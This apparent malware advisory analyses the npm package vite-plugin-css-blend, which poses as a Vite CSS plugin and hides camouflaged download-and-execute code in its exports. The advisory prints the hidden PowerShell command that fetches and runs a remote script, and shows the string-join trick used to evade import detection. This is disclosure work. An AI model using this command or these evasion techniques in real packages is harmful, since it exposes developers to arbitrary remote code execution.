vite-plugin-css-blend@1.0.0

The package is published as a Vite CSS plugin but exposes no Vite plugin API. Its documented `applyGlobalStyles({palette, accents})` export, when called on Windows, treats the caller-supplied `accents` and `palette` strings as an AES-256-CBC IV and ciphertext, decrypts them with a hardcoded key, and spawns `powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js"` — fetching and executing an attacker-controlled JavaScript payload via Node. The `node:crypto` and `node:child_process` modules are imported via string-array join (`["no","de",":","cry","pto"].join("")`, `["no","de",":","chi","ld","_pro","cess"].join("")`) to evade static import detection. The package further ships ~200 numbered no-op exports (e.g., `isWithinBoundary1..200`, `applyPreset1..150`, `createSequenceStep1..250`) as filler to camouflage the malicious export among legitimate-looking utilities, and its name baits developers searching the Vite ecosystem. Any consumer following the documented API on a Windows host triggers download-and-execute of arbitrary remote code.